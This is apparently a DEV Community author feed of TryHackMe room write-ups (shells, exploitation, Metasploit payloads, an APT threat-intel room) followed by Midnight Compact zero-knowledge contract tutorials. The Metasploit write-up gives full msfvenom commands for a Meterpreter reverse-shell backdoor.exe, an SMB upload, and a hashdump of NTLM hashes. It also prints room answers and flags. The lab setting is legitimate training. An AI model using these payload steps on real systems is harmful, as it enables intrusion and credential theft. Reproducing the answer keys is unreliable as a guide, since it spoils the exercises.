DEV Community: Efe Kırbaş

TryHackMe Shells & Listeners Fundamentals Room Writeup

Efe Kırbaş — Sun, 13 Sep 2026 19:46:39 +0000

TASK 2

Which type of shell connects back to a listening port on your computer, Reverse (R) or Bind (B)?

Answer: R

When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?

Answer: T

A target machine sits behind a strict firewall that blocks all inbound connections but allows outbound traffic. Which shell type would work here, Reverse (R) or Bind (B)?

Answer: R

TASK 3

Which tool can allocate pseudo-terminals (PTYs) for fully interactive shell sessions?

Answer: socat

Which Metasploit component generates payloads in formats such as executables, scripts, and shellcode?

Answer: msfvenom

TASK 4

Which option tells netcat to listen?

Answer: -l

How would you connect to a bind shell on the IP address: 10.10.10.11 with port 8090?

An example of connecting:

Answer: nc 10.10.10.11 8090

Which netcat flag skips DNS resolution and uses numeric IP addresses only?

Answer: -n

Task 5

How would we get socat to listen on TCP port 8080?

For example:

Answer: TCP-L:8080

When creating a socat reverse shell on a Windows target, which option must you add after the executable name for proper I/O handling?

Answer: pipes

TASK 6

After running stty raw -echo, what command brings your backgrounded shell back to the foreground?

Answer: fg

How would you change your terminal size to have 238 columns?

For example:

Answer: stty cols 238

What command would you use to set up a Python3 web server on port 80 to transfer socat to a target? (Provide the full command with sudo)

Answer: sudo python3 -m http.server 80

TASK 7

Which socat parameter disables certificate verification for self-signed certificates?

Answer: verify=0

What OpenSSL flag generates a 2048-bit RSA key pair when creating a self-signed certificate?

Answer: -newkey rsa:2048

Thanks for reading

TryHackMe Exploitation and Weaponisation Room Writeup

Efe Kırbaş — Sun, 13 Sep 2026 17:01:02 +0000

TASK 2

Nmap flags a Windows 7 host with SMB on port 445, hinting at MS17-010. Which Metasploit auxiliary module would you run before loading the exploit?

Answer: auxiliary/scanner/smb/smb_ms17_010

While checking the HTTP response headers during a web application penetration test, you noticed that the application does not implement the HTTP Strict-Transport-Security (HSTS) header. Which of the following actions would you perform?
a) Attempt to demonstrate an SSL stripping attack
b) Document it and move on

Answer: b

TASK 3

You've gained command injection on an internal app running on a Linux server. What's the first command you run to prove execution without touching the disk?

Answer: whoami

While testing a web application, you confirmed that an SQL-injection vulnerability could be exploited. What SQL query can you attempt to inject in order to check the privileges of the database user?

Answer: SELECT SYSTEM_USER

TASK 4

What example of a high-value action can be abused to hijack user accounts and escalate access?

Answer: Password Reset

When exploiting an IDOR vulnerability in an online learning platform, which among the following roles could be targeted in order to demonstrate the greatest impact?
a) User
b) System Administrator
c) Teacher

Answer: b) System Administrator

Because the person with the highest authority

TASK 5

During a web application penetration test, you discovered a stored XSS that can be viewed by other users. What cookie attribute must be set to False in order to demonstrate cookie theft?

Answer: HttpOnly

Among the three options below, choose two that can be chained in order to demonstrate greater impact. Answer Format: a,b
a) An XSS in a support chat
b) A source-code disclosure vulnerability that exposes hashing functions
c) An IDOR in the change-password flow that requires a hashed email address

Answer: b,c

Vulnerability chaining is the process of using the output from one vulnerability as a trigger to exploit another vulnerability.

Here, the reason options b and c match is based on a direct cause-and-effect relationship:

The constraint in option c: Even if there is an IDOR vulnerability in the password reset flow, the request requires verification of the victim’s hashed email address, so the exploit will not work on its own without this information.

The key in option b: The source code disclosure reveals which algorithm and method the system uses to hash emails.

Combined effect: The target user’s email is hashed using the disclosed function, and this value is then appended to the IDOR request to change the password.

Thus, a “source code leak”—which on its own would be considered moderate—and an “IDOR” that is limited by parameter constraints are combined to directly result in a full account takeover.

TASK 6

You need to test one request parameter in Burp Suite in order to capture a clear evidence. Which module can be used to achieve this?

Answer: Repeater

You confirmed an SQL-injection vulnerability and wanted to automate the exploitation without causing unintended damage to the environment. Which flags and values can you use to retrieve only one row from a table? E.g., --level=5 --risk=5

Answer: --start=1 --stop=1

What Burp Suite module can generate a high volume of requests and potentially cause downtime if misused?

Answer: Intruder

Task 7

What is the flag that can be retrieved upon completion of the activity?

Answer: THM{C0ntr0ll3d_Expl01t4t10n!}

Room completed, thank you for reading.

TryHackMe Metasploit: Payload Generation Room Writeup

Efe Kırbaş — Sat, 12 Sep 2026 19:02:38 +0000

TASK 2
What flag sets the output format in msfvenom?

Answer: -f

What flag specifies the payload to generate?

Answer: -p

TASK 3

Which payload type is self-contained and does not require a second download: staged or stageless?

In the introduction to the text, "stageless payloads" are defined directly as follows:

In contrast, it is noted that staged payloads operate in two stages and that the main component (stage) must be downloaded via the handler in the second stage:

"The Trade-Offs" Table:
The "Reliability" row of the table contains the following statement for "stageless":

"Generating Both with Msfvenom" Section:
The comparison in the text clearly reiterates that the stageless payload does not require an additional download:

Answer: stageless

TASK 4

What output format would you use to generate a Linux binary executable?

Answer: elf

Write the full msfvenom command to generate a stageless Windows x64 Meterpreter reverse TCP payload as an executable file named backdoor.exe, connecting back to 10.10.14.12 on port 5555.

Answer: msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=5555 -f exe -o backdoor.exe

TASK 5

What is the name of the most well-known Metasploit encoder?

Answer: x86/shikata_ga_nai

What msfvenom flag specifies characters that must not appear in the payload output?

Answer: -b

TASK 6

What msfvenom flag injects a payload into an existing executable template?

Answer: -x

TASK 7

What Metasploit module is used as a universal listener for catching reverse shell connections?

Answer: exploit/multi/handler

What handler option should you set to false if you want the handler to keep listening after the first session is established?

Answer: ExitOnSession

TASK 8

Open the AttackBox terminal and enter your own IP address (ip a or tun0 / AttackBox IP) to generate the payload:

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=(Enter your ATTACKBOX_IP here) LPORT=80 -f exe -o shell.exe

Now let's set up the listener and upload the file to the target machine:

Verification: You should see that the terminal line changes to msf6 >.

In the console window that opens, enter the following commands in order:

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter_reverse_http

set LHOST 10.113.112.158

set LPORT 80

run -j

Now, Type the following command into the console

use auxiliary/admin/smb/upload_file

Verification: You should see that the command line has changed to msf6 auxiliary(admin/smb/upload_file) >.

Enter the following commands in order (replace LAB_MACHINE_IP with the target machine's IP address provided on the TryHackMe page):

set RHOSTS

set SMBUSER guest

set SMBSHARE public

et LPATH /root/shell.exe

set RPATH shell.exe

run

To retrieve the hash and flag values from the questions, follow the steps below in order:

Enter the following command in the console:

sessions -i 1

The command line will change to "meterpreter >".

Get Jim's NTLM Hash

Type the following on that meterpreter > line:

hashdump

The line structure in the hashdump output is as follows:
username : RID : LM_hash : NTLM_hash :::

That's why we're looking for the NTLM_hash

Answer: 1e3fe826df1e5af582a98c034cafa9f4

Find the flag somewhere in C:\Users\Administrator. What's its value?

Let's do a simple search with this command

search -d "C:\\Users\\Administrator" -f *flag*

We found flag.txt in the Documents folder

Let's wrap this up:
cat C:\Users\Administrator\Documents\flag.txt

Answer: THM{capst0ne_pwn3d_v1a_writable_share}

Thank you for reading room is completed. ^^

Tryhackme Trooper Room Writeup

Efe Kırbaş — Sat, 05 Sep 2026 07:33:40 +0000

Görev: Unmasking APT X

What is the name of the phishing sub-technique used by APT X for initial access? (APT X’in ilk erişim için kullandığı kimlik avı alt tekniğinin adı nedir?)

Lab makinesine bize verilen bilgilerle giriş yaptıktan sonra sol menüden analyses basıyoruz ve karşımıza APT-X geliyor bunun içine giriyoruz.

APT-X'in içine girdiğimizde knowledge kısmına geçiyoruz

En köşede duran ilk erişim olduğu için cevabı hemen buluyoruz zaten saat olarak en erken bu

Cevap: Spearphishing Attachment

What is the name of the malware used by APT X? (APT X tarafından kullanılan kötü amaçlı yazılımın adı nedir?)

Bu da aynı şekil zaten burda kendini belli ediyor.

Cevap: USBferry

What is the malware's STIX ID?

Usbyferry penceresindeki bağlantı ikonuna tıklıyoruz

Bizden istediği stix idydi bu da usbferrynin sayfası açılınca en sağda köşede kendini belli etti.

Cevap: malware--5d0ea014-1ce9-5d5c-bcc7-f625a07907d0

Using the knowledge available for the above malware, what is the true identity of APT X? (Yukarıda bahsedilen kötü amaçlı yazılım hakkında mevcut bilgileri kullanarak, APT X’in gerçek kimliği nedir?)

Bunun cevabıda usbferrynin (kötü amaçlı yazılımın) descinde var

Cevap: Tropic Trooper

How many attack patterns are associated with the target APT? (Hedef APT ile ilişkili kaç tane saldırı modeli bulunmaktadır?)

Şimdi gerçek kimlikle devam edicez o yüzden OpenCTI arama çubuğuna Tropic Trooper yazdık ve ilk çıkana tıklayıp knowledgeye geçtik 40 taneymiş

Cevap: 40

Which Microsoft Exchange RCE vulnerability has the attacker been witnessed using? (Saldırganın hangi Microsoft Exchange RCE güvenlik açığını kullandığı gözlemlenmiştir?)

Bunun için aynı sayfada yani knowledgede aşağı kaydırıp timeline a geliyoruz. Bir kaç cve var remote code yazan tek CVE-2021-34473 var o yüzden

Cevap: CVE-2021-34473

What is the name of the command-line tool linked to the APT? (APT ile bağlantılı komut satırı aracının adı nedir?)

Tool dediği için sağ menüden direk tools basıyoruz.

Tek BITSAdmin var

Cevap: BITSAdmin

What malware is the APT known to use for remote access? (Bu APT’nin uzaktan erişim amacıyla kullandığı bilinen kötü amaçlı yazılımlar nelerdir?)

Malware dediği için direk sağ menüden malware basıyoruz, 5 tane var hepsini tek tek inceleyip desclerine baktığımızda PoisonIvy'nin descinde "PoisonIvy is a popular remote access tool" görüyoruz

Cevap: PoisonIvy

What registry key has the APT created to establish persistence on target systems? APT, hedef sistemlerde kalıcılık sağlamak için hangi kayıt defteri anahtarını oluşturmuştur?

Tropic Trooper'ın overview kısmında en aşağı kaydırıp external referencesdaki mitre attack raporunu açıp içindeki urlye gidip inceleyelim.

Gördüğünüz gibi raporun içinde biraz aşağı kaydırdığımız zaman bu kayıt defteri anahtarına ulaşıyoruz.

Cevap: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

During the stealth stage, which image file format does the group use to mask their backdoor activities? (Gizlilik aşamasında, grup arka kapı faaliyetlerini gizlemek için hangi görüntü dosyası formatını kullanıyor?)

Buna gene raporda biraz arayarak ulaşabiliyoruz

Cevap: JPG

Building Sybil-Resistant Anonymous Systems on Midnight: Mastering Historic Merkle Trees and Domain-Separated Nullifiers in Compact

Efe Kırbaş — Wed, 02 Sep 2026 22:21:37 +0000

If you have built decentralized applications on Ethereum or other EVM-compatible chains, you are intimately familiar with access control and state tracking:

// Traditional EVM Pattern: Zero Privacy
mapping(address => bool) public hasVoted;
function vote(uint256 proposalId, bool support) external {
    require(!hasVoted[msg.sender], "Already voted");
    hasVoted[msg.sender] = true;
    // ...
}

In the EVM, everything is public. Every transaction permanently stamps the caller’s address (msg.sender) on the global ledger. If you want to verify that someone is an eligible DAO member, an accredited investor, or an airdrop recipient, you must reveal their address on-chain—linking their entire transactional history, wallet balance, and identity forever.

Midnight Network flips this paradigm. On Midnight, smart contracts written in Compact execute inside local Zero-Knowledge (ZK) circuits on the user’s device before touching the network.

However, moving to a privacy-first ZK architecture introduces a fundamental computer science dilemma:

If a user’s identity is completely private, how do you prevent them from voting twice, claiming an airdrop multiple times, or double-spending a confidential voucher?

In this comprehensive guide, we will build a production-grade, Sybil-resistant anonymous action engine on Midnight. We will explore:

The Anonymous Membership Accumulator: Why HistoricMerkleTree solves asynchronous race conditions where standard Merkle trees fail.
The Nullifier Pattern: How deterministic, domain-separated cryptographic nullifiers prevent double-actions without doxxing the user.
The Compact Witness Taint System: Why the compiler requires disclose() and why disclosing the nullifier does not compromise voter privacy.
End-to-End TypeScript SDK Integration: Wiring the Compact contract to @midnight-ntwrk/midnight-js-contracts and running the local Docker Proof Server.

Toolchain & Version Pinning

To comply with Midnight’s strict toolchain requirements, all code in this guide is tested and pinned against the following active versions:

Component	Pinned Version	Purpose
Compact Compiler / Toolchain	`compact-v0.5.2` (Language `0.23+`)	Smart contract compilation & circuit generation
`@midnight-ntwrk/midnight-js-contracts`	`4.1.1`	Contract deployment & transaction orchestration
`@midnight-ntwrk/compact-runtime`	`0.19.0`	In-browser/Node.js Compact types & path handling
`@midnight-ntwrk/midnight-js-level-private-state-provider`	`4.1.1`	Local encrypted private state storage
`@midnight-ntwrk/midnight-js-http-client-proof-provider`	`4.1.1`	Bridge to local ZK proof generation server
Midnight Proof Server Docker Image	`midnightntwrk/proof-server:8.1.0`	Local ZK proving engine (port `6300`)

Architectural Deep Dive: How the Nullifier Pattern Works

Before writing a single line of Compact code, let’s understand the cryptographic flow. We need to satisfy two opposing invariants:

Zero-Knowledge Membership: The verifier (the blockchain) must be convinced that the caller is in the authorized roster without learning which member they are.
Unlinkable Single-Use Enforceability: The blockchain must guarantee that the caller cannot execute the action more than once.

sequenceDiagram
    autonumber
    actor Voter as User Device (Private Runtime)
    participant PS as Local Proof Server (Port 6300)
    participant Ledger as Midnight Blockchain (Public Ledger)

    Note over Voter: Holds private secret key (sk) in wallet
    Voter->>Voter: 1. Fetch Merkle Path for commitment H(sk)
    Voter->>Voter: 2. Derive Nullifier = persistentHash([sk, poll_id])
    Voter->>PS: 3. Submit private inputs (sk, path) to generate ZK Proof
    PS-->>Voter: 4. Returns ZK Proof & public transcript
    Voter->>Ledger: 5. Submit Tx: Proof + disclose(Nullifier) + vote choice
    Note over Ledger: 6. Circuit checks: <br/>• voter_tree.checkRoot(root) == true<br/>• spent_nullifiers.member(nullifier) == false
    Ledger->>Ledger: 7. Record: spent_nullifiers.insert(nullifier, true)
    Ledger->>Ledger: 8. Increment public vote counter

The Three Cryptographic Pillars

1. Identity Commitment

A voter possesses a 32-byte secret key sk kept in local private storage. During registration, their public commitment is derived via a one-way collision-resistant hash:

Commitment = persistentHash<Bytes<32>>(sk)

This commitment is inserted as a leaf into the on-chain Merkle tree.

2. Historic Merkle Membership Proof

To vote, the user constructs a Merkle membership proof showing that their commitment exists in the tree.

Crucial Real-World Insight: Why use HistoricMerkleTree instead of a regular MerkleTree?
Generating a ZK proof on a user's machine typically takes 2–5 seconds. If another user registers their commitment during that window, the root of a standard Merkle tree advances. When the first user submits their transaction, it would revert with a stale root error!
HistoricMerkleTree keeps a bounded ring-buffer of recent valid roots on the ledger. The method voter_tree.checkRoot(computed_root) verifies against any valid recent root, completely eliminating concurrent front-running bugs.

3. Domain-Separated Nullifier

If the voter disclosed their identity commitment on-chain, anyone could match it against the registration list and deanonymize them.

Instead, the circuit derives a Nullifier:

Nullifier = persistentHash<Vector<2, Bytes<32>>>([sk, poll_id])

Deterministic: The same sk and poll_id will always produce the exact same nullifier.
Unlinkable: Because persistentHash is a one-way cryptographic function (based on SHA-256 compression), it is computationally infeasible to invert the nullifier to discover sk or link it to the registration commitment persistentHash(sk).
Domain-Separated: Scoping the nullifier with poll_id guarantees that voting in "Poll #1" generates a completely different nullifier than voting in "Poll #2".

The Smart Contract: `anonymous_voting.compact`

Here is the complete, production-ready Compact contract implementing this pattern. Save this file as anonymous_voting.compact.

pragma language_version >= 0.23;
import CompactStandardLibrary;

// =========================================================================
// 1. PUBLIC LEDGER STATE
// Stored persistently on the Midnight blockchain and visible to everyone.
// =========================================================================

// Bounded Merkle tree of depth 16 storing voter commitments.
// Uses HistoricMerkleTree to accept recent valid roots and avoid race conditions.
export ledger voter_tree: HistoricMerkleTree<16, Bytes<32>>;

// Set-like mapping tracking consumed nullifiers to prevent double-voting.
export ledger spent_nullifiers: Map<Bytes<32>, Boolean>;

// Public vote tallies
export ledger votes_yes: Counter;
export ledger votes_no: Counter;

// =========================================================================
// 2. PRIVATE WITNESS DECLARATIONS
// Witnesses run strictly on the client machine. They supply private data to
// the local ZK circuit and are NEVER transmitted over the network.
// =========================================================================

// Retrieves the voter's raw private key from secure local storage
witness get_voter_secret(): Bytes<32>;

// Retrieves the Merkle inclusion proof for this voter's commitment
witness get_merkle_path(): MerkleTreePath<16, Bytes<32>>;

// =========================================================================
// 3. EXPORTED CIRCUITS
// Callable entrypoints that generate Zero-Knowledge proofs.
// =========================================================================

/**
 * @notice Registers a new voter by appending their public commitment to the Merkle tree.
 * @param voter_commitment The persistentHash(secret_key) of the voter.
 */
export circuit register_voter(voter_commitment: Bytes<32>): [] {
    // Append commitment leaf into the Historic Merkle tree
    voter_tree.insert(voter_commitment);
}

/**
 * @notice Casts an anonymous vote using a ZK membership proof and nullifier guard.
 * @param poll_id The 32-byte identifier of the specific poll or proposal.
 * @param choice True for 'Yes', False for 'No'.
 */
export circuit cast_vote(poll_id: Bytes<32>, choice: Boolean): [] {
    // Step 1: Read private data locally from the user's device
    const secret = get_voter_secret();
    const path = get_merkle_path();

    // Step 2: Cryptographically derive the voter's identity commitment: H(secret)
    const expected_leaf = persistentHash<Bytes<32>>(secret);

    // Step 3: ZK Invariant: Ensure the supplied Merkle path belongs to this secret
    assert(path.leaf == expected_leaf, "Merkle path leaf does not match derived secret commitment");

    // Step 4: Recompute the Merkle root from the private path inside the circuit
    // disclose() is required by the compiler because path originates from a witness
    const computed_root = merkleTreePathRoot<16, Bytes<32>>(disclose(path));

    // Step 5: Verify the root exists in the Historic Merkle Tree on-chain
    assert(voter_tree.checkRoot(computed_root), "Caller commitment is not present in the voter registry");

    // Step 6: Derive a deterministic, domain-separated nullifier: H([secret, poll_id])
    const nullifier = persistentHash<Vector<2, Bytes<32>>>([
        secret,
        poll_id
    ]);

    // Step 7: Enforce Sybil-Resistance Guard on the public ledger
    // We MUST use disclose() because 'nullifier' was computed from the private 'secret' witness.
    assert(!spent_nullifiers.member(disclose(nullifier)), "Double-action detected: nullifier already spent for this poll");

    // Step 8: Mark the nullifier as permanently spent on-chain
    spent_nullifiers.insert(disclose(nullifier), true);

    // Step 9: Increment the respective public tally
    if (choice) {
        votes_yes.increment(1);
    } else {
        votes_no.increment(1);
    }
}

Answering the Tough Technical Questions: "Explain Your Work"

The Midnight team values developers who deeply understand their circuits rather than copy-pasting templates. Here is the architectural rationale behind every critical decision in this contract:

1. Why does this circuit need `disclose()` on `nullifier`?

In Compact, any variable derived from a witness function is tagged with a witness taint in the compiler’s type system.

If you attempt to write a tainted variable to the ledger (spent_nullifiers.insert(...)) or use it in a public lookup (spent_nullifiers.member(...)), the compiler will throw a compile-time error:

Type error: Witness-tainted value cannot be exposed to public ledger without explicit disclose()

Calling disclose(nullifier) is an explicit cryptographic declaration: "I am deliberately releasing this specific value to the public transaction transcript."

2. Does `disclose(nullifier)` compromise the voter's privacy?

No. The nullifier is computed via persistentHash<Vector<2, Bytes<32>>>([sk, poll_id]). Because persistentHash uses SHA-256 compression, it is computationally irreversible (preimage resistance). An outside observer learns that a specific nullifier was consumed, but they cannot mathematically reverse it to discover sk, nor can they link it back to the registration commitment persistentHash(sk) stored in the Merkle tree.

3. What breaks if you use `transientHash` instead of `persistentHash`?

Type Mismatch: transientHash<T> returns a Field element, while persistentHash<T> returns Bytes<32>.
Persistence Guarantee: transientHash is optimized for temporary, ephemeral constraints inside circuits and is not guaranteed to remain stable across protocol upgrades. persistentHash is strictly guaranteed to remain deterministic across ledger state transitions, which is mandatory for state variables like nullifiers.

4. What breaks if you omit `poll_id` from the nullifier?

If you simply calculated persistentHash(secret), the voter would have only one universal nullifier across the entire lifecycle of the contract. Voting in Poll #1 would consume that nullifier, making it impossible for the user to ever vote in Poll #2! Including poll_id creates distinct, domain-separated cryptographic pseudonyms for each proposal.

5. Why can't the frontend just pass the nullifier as a circuit argument?

If cast_vote accepted nullifier: Bytes<32> as a public input argument, a malicious user could pass an arbitrary random 32-byte hash every time they called the function. They could vote a million times because each random hash would never collide with spent_nullifiers.

By computing the nullifier inside the ZK circuit directly from the private witness secret, the ZK proof mathematically binds the vote to the voter’s true private key.

6. Why does `merkleTreePathRoot` require `disclose(path)`?

path is supplied by the client-side witness get_merkle_path(). In Compact's type system, all witness data carries the witness privacy effect (taint). When computing a root to verify against the public ledger's HistoricMerkleTree, the compiler requires disclose(path). Disclosing the sibling hash path does not compromise voter identity because the voter's raw secret key and individual leaf remain protected and verified through the in-circuit assertion path.leaf == expected_leaf.

Client Integration: TypeScript & Midnight.js SDK

Now let's look at how an off-chain application interacts with this contract using @midnight-ntwrk/midnight-js-contracts.

1. Project Dependencies (`package.json`)

{
  "name": "midnight-anonymous-voting",
  "version": "1.0.0",
  "type": "module",
  "dependencies": {
    "@midnight-ntwrk/compact-runtime": "0.19.0",
    "@midnight-ntwrk/midnight-js-contracts": "4.1.1",
    "@midnight-ntwrk/midnight-js-http-client-proof-provider": "4.1.1",
    "@midnight-ntwrk/midnight-js-indexer-public-data-provider": "4.1.1",
    "@midnight-ntwrk/midnight-js-level-private-state-provider": "4.1.1"
  },
  "devDependencies": {
    "typescript": "^5.4.0"
  }
}

2. Launching the Local Proof Server

Before running transactions, start the Midnight Proof Server container via Docker. This server handles the heavy zero-knowledge arithmetic:

docker run -d \
  --name midnight-proof-server \
  -p 6300:6300 \
  midnightntwrk/proof-server:8.1.0 \
  midnight-proof-server -v

Verify that the proof server is responsive:

curl http://localhost:6300/health
# Response: {"status":"healthy"}

3. Compiling the Contract

Using the official Compact CLI toolchain (compact-v0.5.2):

compact compile anonymous_voting.compact --output ./managed/voting

This generates:

The zero-knowledge circuit binaries and proving keys.
TypeScript contract wrappers (Contract, types, and witness interfaces).

4. Client Interaction Script (`vote.ts`)

Here is the client implementation demonstrating how private witnesses are injected and how the transaction is submitted:

import { Contract } from './managed/voting/contract/index.cjs';
import { httpClientProofProvider } from '@midnight-ntwrk/midnight-js-http-client-proof-provider';
import { indexerPublicDataProvider } from '@midnight-ntwrk/midnight-js-indexer-public-data-provider';
import { levelPrivateStateProvider } from '@midnight-ntwrk/midnight-js-level-private-state-provider';
import type { MidnightProviders } from '@midnight-ntwrk/midnight-js-contracts';
import crypto from 'node:crypto';

// 1. Initialize Midnight Service Providers
const proofProvider = httpClientProofProvider('http://localhost:6300');
const publicDataProvider = indexerPublicDataProvider(
  'https://indexer.testnet.midnight.network/api/v1/graphql',
  'wss://indexer.testnet.midnight.network/api/v1/graphql/ws'
);
const privateStateProvider = levelPrivateStateProvider({
  privateStoragePasswordProvider: () => 'secure-wallet-passphrase',
  accountId: 'voter-local-account'
});

// 2. Secure Local Secret (kept strictly on-device)
const voterSecret = crypto.randomBytes(32);

// Helper: Calculate deterministic commitment H(secret)
function deriveCommitment(sk: Uint8Array): Uint8Array {
  return crypto.createHash('sha256').update(sk).digest();
}

// 3. Instantiate the Contract with Local Witness Providers
const contractInstance = new Contract({
  // Witness 1: Feeds the private secret to the circuit
  get_voter_secret: (context) => {
    return [context, voterSecret];
  },

  // Witness 2: Fetches current Merkle path from the indexer
  get_merkle_path: async (context) => {
    const deployedContractAddress = 'YOUR_DEPLOYED_CONTRACT_ADDRESS';
    const state = await publicDataProvider.queryContractState(deployedContractAddress);

    // In production, the indexer or Compact runtime provides path generation:
    const myCommitment = deriveCommitment(voterSecret);
    const membershipPath = state.voter_tree.findPathForLeaf(myCommitment);

    return [context, membershipPath];
  }
});

// 4. Casting an Anonymous Vote
async function castVote(proposalName: string, support: boolean) {
  // Domain separation: derive a 32-byte poll identifier
  const pollId = crypto.createHash('sha256').update(proposalName).digest();

  console.log(`Generating local ZK proof for proposal: "${proposalName}"...`);

  // callTx invokes the local proof server, produces the ZK proof,
  // attaches the public nullifier, and submits to validators.
  const tx = await contractInstance.callTx.cast_vote(pollId, support);

  console.log(`Vote successfully cast in Zero-Knowledge!`);
  console.log(`Transaction ID: ${tx.txId}`);
}

// Example Execution
castVote('SIP-042: Community Treasury Allocation', true)
  .catch(console.error);

Common Gotchas & Debugging Checklist

When developing with Compact and the Midnight SDK, keep this checklist handy:

Issue / Error	Root Cause	Solution
`Witness-tainted value requires disclose()`	Trying to write witness-derived data into a `ledger` state variable or returning it from an exported circuit.	Wrap the variable in `disclose(val)` after verifying that exposing this value does not compromise sensitive identity attributes.
`Stale Merkle Root Assertion Failed`	Using standard `MerkleTree` in a multi-user environment where leaves are concurrently added while a proof is generating.	Switch to `HistoricMerkleTree<depth, Type>`. It tracks previous valid roots so asynchronous proofs confirm reliably.
`Connection refused: localhost:6300`	The Proof Server container is either not running or blocked by local firewalls.	Run `docker ps` and confirm `midnightntwrk/proof-server:8.1.0` is bound to `0.0.0.0:6300`.
Replay attacks across multiple polls	Computing nullifiers using only the secret without scoping parameters.	Always include a domain separator (such as `poll_id` or proposal hash) in the nullifier hash vector: `persistentHash<Vector<2, Bytes<32>>>([secret, domain])`.

Conclusion

The Historic Merkle Tree + Nullifier Pattern is the crown jewel of privacy-preserving decentralized architecture. By combining:

HistoricMerkleTree for asynchronous, non-blocking ZK membership proofs,
Domain-Separated persistentHash for collision-resistant nullifiers, and
Explicit disclose() gating to prevent inadvertent data leakage,

Compact gives developers the power to build truly anonymous, Sybil-resistant governance and claiming systems without having to write raw cryptographic equations or manage complex polynomial commitments by hand.

Are you building privacy-preserving dApps on Midnight? Share your use case or challenges below!

Zero-Knowledge Age Verification on Midnight: How Compact Enables Private On-Chain Data

Efe Kırbaş — Mon, 10 Aug 2026 08:30:56 +0000

How do you verify user eligibility on-chain without revealing sensitive personal identity data?

Traditional KYC processes force an unwanted trade-off: transparency versus privacy. Exposing dates of birth or identity credentials directly on a public ledger introduces severe privacy and security risks.

Midnight Network solves this dilemma through a clean separation of Public vs. Private State:

Private State: The user's sensitive data (e.g., birthdate) stays on-device in their local environment/wallet.
Public State: Only the verification status (e.g., a boolean true/false) is posted to the ledger.

How Compact Structures ZK Predicate Logic

Midnight’s domain-specific language, Compact, allows developers to write zero-knowledge logic without drowning in complex cryptographic circuits.

Here is how a simple ZK predicate for age verification looks in Compact:

contract AgeVerification {
    state {
        is_verified: Map<Address, bool>;
    }

    transition verify_age(birth_year: Uint, current_year: Uint) {
        // Executed inside the ZK circuit
        assert (current_year - birth_year) >= 18;

        // Public ledger only learns the boolean output
        next(is_verified[caller]) = true;
    }
}

How It Works Under the Hood

Local Input: The user inputs their birth_year locally inside their wallet.
ZK Proof Generation: The wallet executes the circuit locally and generates a Zero-Knowledge Proof confirming (current_year - birth_year) >= 18.
Off-Chain Privacy: The actual birth_year raw data never leaves the off-chain environment.
On-Chain Verification: Validators only verify the validity of the mathematical proof—never the raw user inputs.

Why This Matters

This architecture replaces raw data exposure with verifiable cryptographic proofs. From selective KYC to private DeFi credit scoring, Midnight abstracts complex ZK mathematics into simple, readable logic.

Building privacy-first dApps on Midnight changes how we handle data ownership on-chain.

Mastering Zero-Knowledge Identity Patterns in Midnight with Compact

Efe Kırbaş — Sun, 09 Aug 2026 08:10:34 +0000

If you're coming from the world of EVM and Solidity, you know the golden rule: everything on the blockchain is public. If you need to verify a user's identity, you typically have to store their public address or identity hash directly on-chain, creating a permanent, public trail of their activities.

Midnight Network flips this paradigm on its head. As a data-protection blockchain, it allows developers to build applications that protect sensitive data while still guaranteeing execution correctness through Zero-Knowledge (ZK) proofs.

In this guide, we're going to dive into Compact (Midnight’s TypeScript-inspired smart contract language) and explore a fundamental privacy pattern: Zero-Knowledge Identity Verification.

The Concept: Commit-Reveal Identity

To verify a user without exposing who they are, we use a pattern where:

The user holds a Private Secret.
The contract stores a Public Commitment (a hash of the secret).
The user generates a ZK Proof locally to prove they know the secret behind the commitment, without ever revealing the secret itself to the network.

In Compact, this is achieved through three core pillars:

Ledger: Public state visible to everyone.
Witness: Private data that never leaves the user's local machine.
Circuit: The logic that generates a ZK proof locally before submitting a transaction.

The Code Implementation

Here is a fully functional Compact contract implementing this pattern.

pragma language_version >= 0.23;
import CompactStandardLibrary;

// 1. PUBLIC LEDGER STATE
// Directly export a single updatable ledger storage slot.
export ledger last_user: Bytes<32>;

// 2. PRIVATE WITNESS DATA
// Witnesses are strictly local. This value is never sent over the network.
witness secret_key(): Bytes<32>;

// 3. ZK CIRCUITS
export circuit update(): [] {
    // Read the private secret key locally from the user's device
    const sk = secret_key();

    // Derive a cryptographic commitment (identifier) from the private key
    const myself = persistentHash<Bytes<32>>(sk);

    // Write the commitment to the public ledger. 
    // disclose() is used to intentionally make the hashed value public.
    last_user.write(disclose(myself));
}

export circuit verify_user(): [] {
    // Read the private secret key locally again
    const sk = secret_key();

    // Re-calculate the identifier
    const myself = persistentHash<Bytes<32>>(sk);

    // ZK Assertion: Ensure the calculated hash matches the public ledger state.
    // If this fails, the proof generation fails.
    assert(myself == last_user.read(), "Oops: you're not the current user");

    // If successful, the blockchain only receives a mathematical proof 
    // that this assertion passed. The `secret_key` remains hidden!
}

Breaking Down the Magic

Let's look at why this works securely and doesn't leak data:

Step 1: The Witness Function

Unlike Solidity where msg.sender is implicitly public, Compact forces you to define private data explicitly using the witness keyword. When a user interacts with this contract, the secret_key value is supplied locally by the DApp's witness implementation (backed by the private-state provider running in the user's wallet). The Proof Server later generates the ZK proof from data already supplied locally; it never sources or handles your raw secrets.

Step 2: The Hash Commitment

We cannot store the secret_key directly on the ledger. Instead, we use persistentHash, a built-in Compact function designed specifically for deriving state identifiers from private data. It creates a one-way deterministic hash.

Step 3: Zero-Knowledge Assertion

This is where the Zero-Knowledge magic happens. When verify_user() is called, the user's machine executes the code, hashes their local secret, and compares it against last_user.read().
If they match, the machine generates a ZK Proof saying: "I executed this code, and the assertion was true."
The Midnight network validates the proof, not the data. The network knows the user is authorized, but has absolutely no idea what the secret_key actually is.

Conclusion

By separating data into Ledger (public) and Witness (private), and combining them inside a Circuit, Compact makes building Zero-Knowledge applications incredibly intuitive.

You no longer have to be a cryptographer writing complex polynomial equations to utilize ZK-rollups. With a syntax that feels right at home for Web2 and Web3 developers alike, Midnight allows you to build dApps where privacy is the default, not an afterthought.

Have you experimented with Compact yet? Let me know what you're building in the comments!

DEV Community: Efe Kırbaş

TryHackMe Shells & Listeners Fundamentals Room Writeup

TryHackMe Exploitation and Weaponisation Room Writeup

TryHackMe Metasploit: Payload Generation Room Writeup

Tryhackme Trooper Room Writeup

Building Sybil-Resistant Anonymous Systems on Midnight: Mastering Historic Merkle Trees and Domain-Separated Nullifiers in Compact

Toolchain & Version Pinning

